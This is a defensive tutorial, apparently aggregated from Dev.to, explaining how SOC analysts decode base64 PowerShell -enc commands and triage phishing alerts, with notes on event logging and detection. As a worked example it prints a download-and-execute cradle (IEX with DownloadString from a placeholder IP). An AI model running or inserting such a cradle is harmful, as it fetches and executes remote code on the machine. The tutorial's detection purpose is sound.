Decoding PowerShell -enc commands: why base64 -d gives you garbage
A phishing alert lands in your queue. A Word document spawned powershell.exe, and the command line ends with -enc and 300 characters of base64. You paste it into base64 -d and the output looks like this: I.E.X. .(.N.e.w.
A phishing alert lands in your queue. A Word document spawned powershell.exe, and the command line ends with -enc and 300 characters of base64. You paste it into base64 -d and the output looks like this: I.E.X. .(.N.e.w.-.O.b.j.e.c.t.... Every letter is followed by a null byte.
Nothing is broken. The decode is correct and the text is in the wrong encoding for your terminal.
What -EncodedCommand expects
PowerShell's -EncodedCommand takes base64 of UTF-16LE text, two bytes per character. Plain base64 -d gives you those raw bytes, and the zero byte after each ASCII letter is the second half of every character. Tell the shell about the encoding and it reads normally:
echo 'SQBFAFgAIAAoAE4AZQB3AC0ATwBi...' | base64 -d | iconv -f UTF-16LE -t UTF-8
On a Windows box, the same job in PowerShell is:
[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($s))
"Unicode" in .NET means UTF-16LE, which is the detail people forget.
A worked scenario
Picture the decoded result being this:
IEX (New-Object Net.WebClient).DownloadString('http://203.0.113.9/a.ps1')
The address is from a documentation range, but the pattern is real. IEX runs a string as code, and DownloadString fetches it over HTTP. Together they form a download cradle: the next stage arrives in memory and never touches disk as a file. Your questions now are concrete. Which other hosts contacted that address? Which user opened the attachment? Is the fetched script visible in proxy logs or endpoint telemetry?
Skip the manual decode when you can
If script block logging is enabled, Event ID 4104 in Microsoft-Windows-PowerShell/Operational records the script after PowerShell has decoded it. It also catches later stages that never appeared on a command line. Check there first.
Expect nesting too. An attacker can encode a string that decodes to another -enc call, so decode in a loop until you see readable code.
Why attackers bother
Encoding is not encryption, and nobody sensible thinks it is. It exists to get a script with quotes, semicolons and newlines through a single command line without being mangled. A side effect is that a simple string match on the command line, such as a search for DownloadString, finds nothing. That is a good argument for alerting on the -enc flag and a long base64 argument itself, and for logging the decoded script, rather than relying on keywords in the raw text.
What to write in the ticket
Record the decoded command, the parent process, the user, and the destination address. Those four facts let the next analyst scope the incident without redoing your work.
Practise on a safe target
The free PowerShell attack investigation lab on Codelivly has encoded commands and noisy alerts around an invoice-lure intrusion, which is the same kind of case. The SOC Analyst Level 2 book is the next step after triage: it covers alert clustering, SOC automation and attribution.
Originally published by Dev.to Security. Aggregated on AIWithGhost for educational purposes β full credit and traffic to the original publisher.